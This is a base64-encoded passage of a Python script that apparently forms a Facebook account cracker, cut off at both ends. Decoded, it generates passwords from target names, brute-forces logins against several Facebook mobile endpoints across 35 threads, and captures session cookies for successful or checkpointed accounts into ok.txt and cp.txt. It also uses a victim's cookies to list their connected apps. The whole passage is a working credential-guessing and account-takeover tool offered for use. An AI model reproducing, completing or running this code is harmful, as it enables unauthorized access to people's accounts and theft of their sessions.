ZChpKyIxMjM0NSIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNCIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTEyMiIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiNzg2IikKICAgICAgICBlbHNlOgogICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzIikKICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMjM0NSIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNCIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTEyMiIpCiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiNzg2IikKICAgIGlmIHBwIGluIFsnJywnICcsJyAgJ106cGFzcwogICAgZWxzZToKICAgICAgICBmb3IgaSBpbiBfY2ljaV8uc3BsaXQoIiAiKTogIAogICAgICAgICAgICBpPWkubG93ZXIoKQogICAgICAgICAgICBmb3IgeCBpbiBwcC5zcGxpdCgnLCcpOgogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpK3gpCiAgICBpZiBwcyBpbiBbJycsJyAnLCcgICddOnBhc3MKICAgIGVsc2U6CiAgICAgICAgZm9yIHogaW4gcHMuc3BsaXQoJywnKToKICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZCh6KQogICAgX2RhcHVudGFfLmFwcGVuZChfY2ljaV8ubG93ZXIoKSkKICAgIHJldHVybiBfZGFwdW50YV8KCiNDZWsgQXBrCmRlZiBjZWtfYXBrKGhfb2ssX2RhcHVudGFfKToKICAgIGFwayA9IFtdCiAgICBzZXNfID0gcmVxdWVzdHMuU2Vzc2lvbigpCiAgICB1cmwgPSAiaHR0cHM6Ly9tYmFzaWMuZmFjZWJvb2suY29tL3NldHRpbmdzL2FwcHMvdGFiYmVkLz90YWI9YWN0aXZlIgogICAgZGF0X2dhbWUgPSBzZXNfLmdldCh1cmwsY29va2llcz17J2Nvb2tpZSc6X2RhcHVudGFffSkKICAgIGRhdGFnYW1lID0gcGFyKGRhdF9nYW1lLmNvbnRlbnQsJ2h0bWwucGFyc2VyJykKICAgIGZvcm1fICAgID0gZGF0YWdhbWUuZmluZCgnZm9ybScsbWV0aG9kPSdwb3N0JykKICAgIGZvciBhc3UgaW4gZm9ybV8uZmluZF9hbGwoImgzIik6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBjZWxlbmcgPSBhc3UuZmluZCgnc3BhbicpLnRleHQKICAgICAgICAgICAgYXBrLmFwcGVuZCgnXG4gICDigKIgJytjZWxlbmcpCiAgICAgICAgZXhjZXB0OnBhc3MKICAgIHVybDIgPSAiaHR0cHM6Ly9tYmFzaWMuZmFjZWJvb2suY29tL3NldHRpbmdzL2FwcHMvdGFiYmVkLz90YWI9aW5hY3RpdmUiCiAgICBkYXRfZ2FtZSA9IHNlc18uZ2V0KHVybDIsY29va2llcz17J2Nvb2tpZSc6X2RhcHVudGFffSkKICAgIGRhdGFnYW1lID0gcGFyKGRhdF9nYW1lLmNvbnRlbnQsJ2h0bWwucGFyc2VyJykKICAgIGZvcm1fICAgID0gZGF0YWdhbWUuZmluZCgnZm9ybScsbWV0aG9kPSdwb3N0JykKICAgIGZvciBhc3UgaW4gZm9ybV8uZmluZF9hbGwoImgzIik6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBjZWxlbmcgPSBhc3UuZmluZCgnc3BhbicpLnRleHQKICAgICAgICAgICAgYXBrLmFwcGVuZCgnXG4gICDigKIgJytjZWxlbmcpCiAgICAgICAgZXhjZXB0OnBhc3MKICAgIHByaW50KGhfb2srJycuam9pbihhcGspKQojIyMgTU9EVUxFIENSQUNLICMjIwoKZGVmIG1iYXNpYyhlbSxwYXMsaG9zdHMpOgoJcj1yZXF1ZXN0cy5TZXNzaW9uKCkKCXIuaGVhZGVycy51cGRhdGUoeyJIb3N0IjoibWJhc2ljLmZhY2Vib29rLmNvbSIsImNhY2hlLWNvbnRyb2wiOiJtYXgtYWdlPTAiLCJ1cGdyYWRlLWluc2VjdXJlLXJlcXVlc3RzIjoiMSIsInVzZXItYWdlbnQiOiJNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgMTA7IE1pIDlUIFBybyBCdWlsZC9RS1ExLjE5MDgyNS4wMDI7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODguMC40MzI0LjE4MSBNb2JpbGUgU2FmYXJpLzUzNy4zNltGQkFOL0VNQTtGQkxDL2l0X0lUO0ZCQVYvMjM5LjAuMC4xMC4xMDk7XSIsImFjY2VwdCI6InRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgiLCJhY2NlcHQtZW5jb2RpbmciOiJnemlwLCBkZWZsYXRlIiwiYWNjZXB0LWxhbmd1YWdlIjoiaWQtSUQsaWQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcifSkKCXA9ci5nZXQoImh0dHBzOi8vbWJhc2ljLmZhY2Vib29rLmNvbS8iKQoJYj1iczQuQmVhdXRpZnVsU291cChwLnRleHQsImh0bWwucGFyc2VyIikKCW1ldGE9IiIuam9pbihiczQucmUuZmluZGFsbCgnZHRzZyI6XHsidG9rZW4iOiIoLio/KSInLHAudGV4dCkpCglkYXRhPXt9Cglmb3IgaSBpbiBiKCJpbnB1dCIpOgoJCWlmIGkuZ2V0KCJ2YWx1ZSIpIGlzIE5vbmU6CgkJCWlmIGkuZ2V0KCJuYW1lIik9PSJlbWFpbCI6CgkJCQlkYXRhLnVwZGF0ZSh7ImVtYWlsIjplbX0pCgkJCWVsaWYgaS5nZXQoIm5hbWUiKT09InBhc3MiOgoJCQkJZGF0YS51cGRhdGUoeyJwYXNzIjpwYXN9KQoJCQllbHNlOgoJCQkJZGF0YS51cGRhdGUoe2kuZ2V0KCJuYW1lIik6IiJ9KQoJCWVsc2U6CgkJCWRhdGEudXBkYXRlKHtpLmdldCgibmFtZSIpOmkuZ2V0KCJ2YWx1ZSIpfSkKCWRhdGEudXBkYXRlKAoJCXsiZmJfZHRzZyI6bWV0YSwibV9zZXNzIjoiIiwiX191c2VyIjoiMCIsCgkJIl9fcmVxIjoiZCIsIl9fY3NyIjoiIiwiX19hIjoiIiwiX19keW4iOiIiLCJlbmNwYXNzIjoiIgoJCX0KCSkKCXIuaGVhZGVycy51cGRhdGUoeyJyZWZlcmVyIjoiaHR0cHM6Ly9tYmFzaWMuZmFjZWJvb2suY29tL2xvZ2luLz9uZXh0JnJlZj1kYmwmZmwmcmVmaWQ9OCJ9KQoJcG89ci5wb3N0KCJodHRwczovL21iYXNpYy5mYWNlYm9vay5jb20vbG9naW4vZGV2aWNlLWJhc2VkL2xvZ2luL2FzeW5jLz9yZWZzcmM9aHR0cHMlM0ElMkYlMkZtLmZhY2Vib29rLmNvbSUyRmxvZ2luJTJGJTNGcmVmJTNEZGJsJmx3dj0xMDAiLGRhdGE9ZGF0YSkudGV4dAoJaWYgImNfdXNlciIgaW4gbGlzdChyLmNvb2tpZXMuZ2V0X2RpY3QoKS5rZXlzKCkpOgoJCXJldHVybiB7InN0YXR1cyI6InN1Y2Nlc3MiLCJlbWFpbCI6ZW0sInBhc3MiOnBhcywiY29va2llcyI6ci5jb29raWVzLmdldF9kaWN0KCl9CgllbGlmICJjaGVja3BvaW50IiBpbiBsaXN0KHIuY29va2llcy5nZXRfZGljdCgpLmtleXMoKSk6CgkJcmV0dXJuIHsic3RhdHVzIjoiY3AiLCJlbWFpbCI6ZW0sInBhc3MiOnBhcywiY29va2llcyI6ci5jb29raWVzLmdldF9kaWN0KCl9CgllbHNlOnJldHVybiB7InN0YXR1cyI6ImVycm9yIiwiZW1haWwiOmVtLCJwYXNzIjpwYXN9CgpkZWYgZl9mYihlbSxwYXMsaG9zdHMpOgoJZ2xvYmFsIHVhCglyPXJlcXVlc3RzLlNlc3Npb24oKQoJci5oZWFkZXJzLnVwZGF0ZSh7Ikhvc3QiOiJmcmVlLmZhY2Vib29rLmNvbSIsImNhY2hlLWNvbnRyb2wiOiJtYXgtYWdlPTAiLCJ1cGdyYWRlLWluc2VjdXJlLXJlcXVlc3RzIjoiMSIsInVzZXItYWdlbnQiOiJEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC4yOyBOWDU1IEJ1aWxkL0tPVDU1MDYpIFtGQkFOL0ZCNEE7RkJBVi8xMDYuMC4wLjI2LjY4O0ZCQlYvNDU5MDQxNjA7RkJETS97ZGVuc2l0eT0zLjAsd2lkdGg9MTA4MCxoZWlnaHQ9MTkyMH07RkJMQy9pdF9JVDtGQlJWLzQ1OTA0MTYwO0ZCQ1IvUG9zdGVNb2JpbGU7RkJNRi9hc3VzO0ZCQkQvYXN1cztGQlBOL2NvbS5mYWNlYm9vay5rYXRhbmE7RkJEVi9BU1VTX1owMEFEO0ZCU1YvNS4wO0ZCT1AvMTtGQkNBL3g4Njphcm1lYWJpLXY3YTtdIiwiYWNjZXB0IjoidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCIsImFjY2VwdC1lbmNvZGluZyI6Imd6aXAsIGRlZmxhdGUiLCJhY2NlcHQtbGFuZ3VhZ2UiOiJpZC1JRCxpZDtxPTAuOSxlbi1VUztxPTAuOCxlbjtxPTAuNyJ9KQoJcD1yLmdldCgiaHR0cHM6Ly9mcmVlLmZhY2Vib29rLmNvbS8iKQoJYj1iczQuQmVhdXRpZnVsU291cChwLnRleHQsImh0bWwucGFyc2VyIikKCW1ldGE9IiIuam9pbihiczQucmUuZmluZGFsbCgnZHRzZyI6XHsidG9rZW4iOiIoLio/KSInLHAudGV4dCkpCglkYXRhPXt9Cglmb3IgaSBpbiBiKCJpbnB1dCIpOgoJCWlmIGkuZ2V0KCJ2YWx1ZSIpIGlzIE5vbmU6CgkJCWlmIGkuZ2V0KCJuYW1lIik9PSJlbWFpbCI6CgkJCQlkYXRhLnVwZGF0ZSh7ImVtYWlsIjplbX0pCgkJCWVsaWYgaS5nZXQoIm5hbWUiKT09InBhc3MiOgoJCQkJZGF0YS51cGRhdGUoeyJwYXNzIjpwYXN9KQoJCQllbHNlOgoJCQkJZGF0YS51cGRhdGUoe2kuZ2V0KCJuYW1lIik6IiJ9KQoJCWVsc2U6CgkJCWRhdGEudXBkYXRlKHtpLmdldCgibmFtZSIpOmkuZ2V0KCJ2YWx1ZSIpfSkKCWRhdGEudXBkYXRlKAoJCXsiZmJfZHRzZyI6bWV0YSwibV9zZXNzIjoiIiwiX191c2VyIjoiMCIsCgkJIl9fcmVxIjoiZCIsIl9fY3NyIjoiIiwiX19hIjoiIiwiX19keW4iOiIiLCJlbmNwYXNzIjoiIgoJCX0KCSkKCXIuaGVhZGVycy51cGRhdGUoeyJyZWZlcmVyIjoiaHR0cHM6Ly9mcmVlLmZhY2Vib29rLmNvbS9sb2dpbi8/bmV4dCZyZWY9ZGJsJmZsJnJlZmlkPTgifSkKCXBvPXIucG9zdCgiaHR0cHM6Ly9mcmVlLmZhY2Vib29rLmNvbS9sb2dpbi9kZXZpY2UtYmFzZWQvbG9naW4vYXN5bmMvP3JlZnNyYz1odHRwcyUzQSUyRiUyRm0uZmFjZWJvb2suY29tJTJGbG9naW4lMkYlM0ZyZWYlM0RkYmwmbHd2PTEwMCIsZGF0YT1kYXRhKS50ZXh0CglpZiAiY191c2VyIiBpbiBsaXN0KHIuY29va2llcy5nZXRfZGljdCgpLmtleXMoKSk6CgkJcmV0dXJuIHsic3RhdHVzIjoic3VjY2VzcyIsImVtYWlsIjplbSwicGFzcyI6cGFzLCJjb29raWVzIjpyLmNvb2tpZXMuZ2V0X2RpY3QoKX0KCWVsaWYgImNoZWNrcG9pbnQiIGluIGxpc3Qoci5jb29raWVzLmdldF9kaWN0KCkua2V5cygpKToKCQlyZXR1cm4geyJzdGF0dXMiOiJjcCIsImVtYWlsIjplbSwicGFzcyI6cGFzLCJjb29raWVzIjpyLmNvb2tpZXMuZ2V0X2RpY3QoKX0KCWVsc2U6cmV0dXJuIHsic3RhdHVzIjoiZXJyb3IiLCJlbWFpbCI6ZW0sInBhc3MiOnBhc30KZGVmIHRvdWNoX2ZiKGVtLHBhcyxob3N0cyk6CglnbG9iYWwgdWEsdG91Y2hfZmJoCglyPXJlcXVlc3RzLlNlc3Npb24oKQoJci5oZWFkZXJzLnVwZGF0ZSh7Ikhvc3QiOiJ0b3VjaC5mYWNlYm9vay5jb20iLCJjYWNoZS1jb250cm9sIjoibWF4LWFnZT0wIiwidXBncmFkZS1pbnNlY3VyZS1yZXF1ZXN0cyI6IjEiLCJ1c2VyLWFnZW50IjoiTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBLaXdpIENocm9tZS82OC4wLjM0MzguMCBTYWZhcmkvNTM3LjM2IiwiYWNjZXB0IjoidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCIsImFjY2VwdC1lbmNvZGluZyI6Imd6aXAsIGRlZmxhdGUsIGJyIiwiYWNjZXB0LWxhbmd1YWdlIjoiaWQtSUQsaWQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcifSkKCXA9ci5nZXQoImh0dHBzOi8vdG91Y2guZmFjZWJvb2suY29tLyIpCgliPWJzNC5CZWF1dGlmdWxTb3VwKHAudGV4dCwiaHRtbC5wYXJzZXIiKQoJbWV0YT0iIi5qb2luKGJzNC5yZS5maW5kYWxsKCdkdHNnIjpceyJ0b2tlbiI6IiguKj8pIicscC50ZXh0KSkKCWRhdGE9e30KCWZvciBpIGluIGIoImlucHV0Iik6CgkJaWYgaS5nZXQoInZhbHVlIikgaXMgTm9uZToKCQkJaWYgaS5nZXQoIm5hbWUiKT09ImVtYWlsIjoKCQkJCWRhdGEudXBkYXRlKHsiZW1haWwiOmVtfSkKCQkJZWxpZiBpLmdldCgibmFtZSIpPT0icGFzcyI6CgkJCQlkYXRhLnVwZGF0ZSh7InBhc3MiOnBhc30pCgkJCWVsc2U6CgkJCQlkYXRhLnVwZGF0ZSh7aS5nZXQoIm5hbWUiKToiIn0pCgkJZWxzZToKCQkJZGF0YS51cGRhdGUoe2kuZ2V0KCJuYW1lIik6aS5nZXQoInZhbHVlIil9KQoJZGF0YS51cGRhdGUoCgkJeyJmYl9kdHNnIjptZXRhLCJtX3Nlc3MiOiIiLCJfX3VzZXIiOiIwIiwKCQkiX19yZXEiOiJkIiwiX19jc3IiOiIiLCJfX2EiOiIiLCJfX2R5biI6IiIsImVuY3Bhc3MiOiIiCgkJfQoJKQoJci5oZWFkZXJzLnVwZGF0ZSh7InJlZmVyZXIiOiJodHRwczovL3RvdWNoLmZhY2Vib29rLmNvbS9sb2dpbi8/bmV4dCZyZWY9ZGJsJmZsJnJlZmlkPTgifSkKCXBvPXIucG9zdCgiaHR0cHM6Ly90b3VjaC5mYWNlYm9vay5jb20vbG9naW4vZGV2aWNlLWJhc2VkL2xvZ2luL2FzeW5jLz9yZWZzcmM9aHR0cHMlM0ElMkYlMkZtLmZhY2Vib29rLmNvbSUyRmxvZ2luJTJGJTNGcmVmJTNEZGJsJmx3dj0xMDAiLGRhdGE9ZGF0YSkudGV4dAoJaWYgImNfdXNlciIgaW4gci5jb29raWVzLmdldF9kaWN0KCkua2V5cygpOgoJCXJldHVybiB7InN0YXR1cyI6InN1Y2Nlc3MiLCJlbWFpbCI6ZW0sInBhc3MiOnBhcywiY29va2llcyI6ci5jb29raWVzLmdldF9kaWN0KCl9CgllbGlmICJjaGVja3BvaW50IiBpbiByLmNvb2tpZXMuZ2V0X2RpY3QoKS5rZXlzKCk6CgkJcmV0dXJuIHsic3RhdHVzIjoiY3AiLCJlbWFpbCI6ZW0sInBhc3MiOnBhcywiY29va2llcyI6ci5jb29raWVzLmdldF9kaWN0KCl9CgllbHNlOnJldHVybiB7InN0YXR1cyI6ImVycm9yIiwiZW1haWwiOmVtLCJwYXNzIjpwYXN9I3RvdWNoIGZiCgpkZWYgbV9mYihlbSwgcGFzLCBob3N0cyk6CiAgICByID0gcmVxdWVzdHMuU2Vzc2lvbigpCiAgICByLmhlYWRlcnMudXBkYXRlKHsiSG9zdCI6Im0uZmFjZWJvb2suY29tIiwiY2FjaGUtY29udHJvbCI6Im1heC1hZ2U9MCIsInVwZ3JhZGUtaW5zZWN1cmUtcmVxdWVzdHMiOiIxIiwidXNlci1hZ2VudCI6Ik1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA4LjEuMDsgQ1BIMTkwOSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC45MyBNb2JpbGUgU2FmYXJpLzUzNy4zNltGQkFOL0VNQTtGQkxDL2l0X0lUO0ZCQVYvMjQwLjAuMC45LjExNTtdIiwiYWNjZXB0IjoidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCIsImFjY2VwdC1lbmNvZGluZyI6Imd6aXAsIGRlZmxhdGUiLCJhY2NlcHQtbGFuZ3VhZ2UiOiJpZC1JRCxpZDtxPTAuOSxlbi1VUztxPTAuOCxlbjtxPTAuNyJ9KQogICAgcCA9IHIuZ2V0KCdodHRwczovL20uZmFjZWJvb2suY29tLycpCiAgICBiID0gYnM0LkJlYXV0aWZ1bFNvdXAocC50ZXh0LCAnaHRtbC5wYXJzZXInKQogICAgbWV0YSA9ICgnJykuam9pbihiczQucmUuZmluZGFsbCgnZHRzZyI6XFx7InRva2VuIjoiKC4qPykiJywgcC50ZXh0KSkKICAgIGRhdGEgPSB7fQogICAgZm9yIGkgaW4gYignaW5wdXQnKToKICAgICAgICBpZiBpLmdldCgndmFsdWUnKSBpcyBOb25lOgogICAgICAgICAgICBpZiBpLmdldCgnbmFtZScpID09ICdlbWFpbCc6CiAgICAgICAgICAgICAgICBkYXRhLnVwZGF0ZSh7J2VtYWlsJzogZW19KQogICAgICAgICAgICBlbGlmIGkuZ2V0KCduYW1lJykgPT0gJ3Bhc3MnOgogICAgICAgICAgICAgICAgZGF0YS51cGRhdGUoeydwYXNzJzogcGFzfSkKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGRhdGEudXBkYXRlKHtpLmdldCgnbmFtZScpOiAnJ30pCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YS51cGRhdGUoe2kuZ2V0KCduYW1lJyk6IGkuZ2V0KCd2YWx1ZScpfSkKCiAgICBkYXRhLnVwZGF0ZSh7J2ZiX2R0c2cnOiBtZXRhLCAnbV9zZXNzJzogJycsICdfX3VzZXInOiAnMCcsICdfX3JlcSc6ICdkJywgCiAgICAgICAnX19jc3InOiAnJywgJ19fYSc6ICcnLCAnX19keW4nOiAnJywgJ2VuY3Bhc3MnOiAnJ30pCiAgICByLmhlYWRlcnMudXBkYXRlKHsncmVmZXJlcic6ICdodHRwczovL20uZmFjZWJvb2suY29tL2xvZ2luLz9uZXh0JnJlZj1kYmwmZmwmcmVmaWQ9OCd9KQogICAgcG8gPSByLnBvc3QoJ2h0dHBzOi8vbS5mYWNlYm9vay5jb20vbG9naW4vZGV2aWNlLWJhc2VkL2xvZ2luL2FzeW5jLz9yZWZzcmM9aHR0cHMlM0ElMkYlMkZtLmZhY2Vib29rLmNvbSUyRmxvZ2luJTJGJTNGcmVmJTNEZGJsJmx3dj0xMDAnLCBkYXRhPWRhdGEpLnRleHQKICAgIGlmICdjX3VzZXInIGluIHIuY29va2llcy5nZXRfZGljdCgpLmtleXMoKToKICAgICAgICByZXR1cm4geydzdGF0dXMnOiAnc3VjY2VzcycsICdlbWFpbCc6IGVtLCAncGFzcyc6IHBhcywgJ2Nvb2tpZXMnOiByLmNvb2tpZXMuZ2V0X2RpY3QoKX0KICAgIGVsc2U6CiAgICAgICAgaWYgJ2NoZWNrcG9pbnQnIGluIHIuY29va2llcy5nZXRfZGljdCgpLmtleXMoKToKICAgICAgICAgICAgcmV0dXJuIHsnc3RhdHVzJzogJ2NwJywgJ2VtYWlsJzogZW0sICdwYXNzJzogcGFzLCAnY29va2llcyc6IHIuY29va2llcy5nZXRfZGljdCgpfQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHJldHVybiB7J3N0YXR1cyc6ICdlcnJvcicsICdlbWFpbCc6IGVtLCAncGFzcyc6IHBhc30KCiAgICAgICAgcmV0dXJuCgpkZWYgdG91Y2hfZmIoZW0scGFzLGhvc3RzKToKCWdsb2JhbCB1YSx0b3VjaF9mYmgKCXI9cmVxdWVzdHMuU2Vzc2lvbigpCglyLmhlYWRlcnMudXBkYXRlKHsiSG9zdCI6InRvdWNoLmZhY2Vib29rLmNvbSIsImNhY2hlLWNvbnRyb2wiOiJtYXgtYWdlPTAiLCJ1cGdyYWRlLWluc2VjdXJlLXJlcXVlc3RzIjoiMSIsInVzZXItYWdlbnQiOiJNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIEtpd2kgQ2hyb21lLzY4LjAuMzQzOC4wIFNhZmFyaS81MzcuMzYiLCJhY2NlcHQiOiJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44IiwiYWNjZXB0LWVuY29kaW5nIjoiZ3ppcCwgZGVmbGF0ZSwgYnIiLCJhY2NlcHQtbGFuZ3VhZ2UiOiJpZC1JRCxpZDtxPTAuOSxlbi1VUztxPTAuOCxlbjtxPTAuNyJ9KQoJcD1yLmdldCgiaHR0cHM6Ly90b3VjaC5mYWNlYm9vay5jb20vIikKCWI9YnM0LkJlYXV0aWZ1bFNvdXAocC50ZXh0LCJodG1sLnBhcnNlciIpCgltZXRhPSIiLmpvaW4oYnM0LnJlLmZpbmRhbGwoJ2R0c2ciOlx7InRva2VuIjoiKC4qPykiJyxwLnRleHQpKQoJZGF0YT17fQoJZm9yIGkgaW4gYigiaW5wdXQiKToKCQlpZiBpLmdldCgidmFsdWUiKSBpcyBOb25lOgoJCQlpZiBpLmdldCgibmFtZSIpPT0iZW1haWwiOgoJCQkJZGF0YS51cGRhdGUoeyJlbWFpbCI6ZW19KQoJCQllbGlmIGkuZ2V0KCJuYW1lIik9PSJwYXNzIjoKCQkJCWRhdGEudXBkYXRlKHsicGFzcyI6cGFzfSkKCQkJZWxzZToKCQkJCWRhdGEudXBkYXRlKHtpLmdldCgibmFtZSIpOiIifSkKCQllbHNlOgoJCQlkYXRhLnVwZGF0ZSh7aS5nZXQoIm5hbWUiKTppLmdldCgidmFsdWUiKX0pCglkYXRhLnVwZGF0ZSgKCQl7ImZiX2R0c2ciOm1ldGEsIm1fc2VzcyI6IiIsIl9fdXNlciI6IjAiLAoJCSJfX3JlcSI6ImQiLCJfX2NzciI6IiIsIl9fYSI6IiIsIl9fZHluIjoiIiwiZW5jcGFzcyI6IiIKCQl9CgkpCglyLmhlYWRlcnMudXBkYXRlKHsicmVmZXJlciI6Imh0dHBzOi8vdG91Y2guZmFjZWJvb2suY29tL2xvZ2luLz9uZXh0JnJlZj1kYmwmZmwmcmVmaWQ9OCJ9KQoJcG89ci5wb3N0KCJodHRwczovL3RvdWNoLmZhY2Vib29rLmNvbS9sb2dpbi9kZXZpY2UtYmFzZWQvbG9naW4vYXN5bmMvP3JlZnNyYz1odHRwcyUzQSUyRiUyRm0uZmFjZWJvb2suY29tJTJGbG9naW4lMkYlM0ZyZWYlM0RkYmwmbHd2PTEwMCIsZGF0YT1kYXRhKS50ZXh0CglpZiAiY191c2VyIiBpbiByLmNvb2tpZXMuZ2V0X2RpY3QoKS5rZXlzKCk6CgkJcmV0dXJuIHsic3RhdHVzIjoic3VjY2VzcyIsImVtYWlsIjplbSwicGFzcyI6cGFzLCJjb29raWVzIjpyLmNvb2tpZXMuZ2V0X2RpY3QoKX0KCWVsaWYgImNoZWNrcG9pbnQiIGluIHIuY29va2llcy5nZXRfZGljdCgpLmtleXMoKToKCQlyZXR1cm4geyJzdGF0dXMiOiJjcCIsImVtYWlsIjplbSwicGFzcyI6cGFzLCJjb29raWVzIjpyLmNvb2tpZXMuZ2V0X2RpY3QoKX0KCWVsc2U6cmV0dXJuIHsic3RhdHVzIjoiZXJyb3IiLCJlbWFpbCI6ZW0sInBhc3MiOnBhc30jdG91Y2ggZmIKCgojIyMgQlJVVEUgQ1JBQ0sgIyMjCiNHZW5lcmF0ZTEKY2xhc3MgY3JhY2s6Cglvcy5zeXN0ZW0oImNsZWFyIikKCWJhbm5lcigpCglkZWYgX19pbml0X18oc2VsZixpc2lmaWxlKToKCQlzZWxmLmFkYT1bXQoJCXNlbGYuY3A9W10KCQlzZWxmLmtvPTAKCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgV2l0aCBQYXNzIERlZmF1bHQvTWFudWFsIFtkL21dIikpCgkJd2hpbGUgVHJ1ZToKCQkJZj1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gQ2hvb3NlIDogIikKCQkJaWYgZj09IiI6Y29udGludWUKCQkJZWxpZiBmPT0ibSI6CgkJCQl0cnk6CgkJCQkJd2hpbGUgVHJ1ZToKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5hcGs9aXNpZmlsZQoJCQkJCQkJc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCgkJCQkJCQlicmVhawoJCQkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJCQlwcmludCgoIiAgICVzIiVlKSkKCQkJCQkJCWNvbnRpbnVlCgkJCQkJc2VsZi5mbD1bXQoJCQkJCWZvciBpIGluIHNlbGYuZnM6CgkJCQkJCXRyeToKCQkJCQkJCXNlbGYuZmwuYXBwZW5kKHsiaWQiOmkuc3BsaXQoIjw9PiIpWzBdfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQkJY29udGludWUKCQkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRXhhbXBsZSA6IHNheWFuZyxrb250b2wsMTIzNDU2IikpCgkJCQlzZWxmLnB3bGlzdCgpCgkJCQlicmVhawoJCQllbGlmIGY9PSJkIjoKCQkJCXRyeToKCQkJCQl3aGlsZSBUcnVlOgoJCQkJCQl0cnk6CgkJCQkJCQlzZWxmLmFwaz1pc2lmaWxlCgkJCQkJCQlzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKCQkJCQkJCWJyZWFrCgkJCQkJCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQkJCQkJCXByaW50KCgiICAgJXMiJWUpKQoJCQkJCQkJY29udGludWUKCQkJCQlzZWxmLmZsPVtdCgkJCQkJZm9yIGkgaW4gc2VsZi5mczoKCQkJCQkJdHJ5OgoJCQkJCQkJc2VsZi5mbC5hcHBlbmQoeyJpZCI6aS5zcGxpdCgiPD0+IilbMF0sInB3IjpnZW5lcmF0ZTEoaS5zcGxpdCgiPD0+IilbMV0pfSkKCQkJCQkJZXhjZXB0OmNvbnRpbnVlCgkJCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCQkJcHJpbnQoKCIgICAlcyIlZSkpCgkJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKCQkJCVRocmVhZFBvb2woMzUpLm1hcChzZWxmLm1haW4sc2VsZi5mbCkKCQkJCW9zLnJlbW92ZShzZWxmLmFwaykKCQkJCWV4aXQoKQoJCQkJYnJlYWsKCWRlZiBwd2xpc3Qoc2VsZik6CgkJc2VsZi5wdz1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gUGFzc3dvcmQgTGlzdCA6ICIpLnNwbGl0KCIsIikKCQlpZiBsZW4oc2VsZi5wdykgPT0wOgoJCQlzZWxmLnB3bGlzdCgpCgkJZWxzZToKCQkJZm9yIGkgaW4gc2VsZi5mbDoKCQkJCWkudXBkYXRlKHsicHciOnNlbGYucHd9KQoJCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3R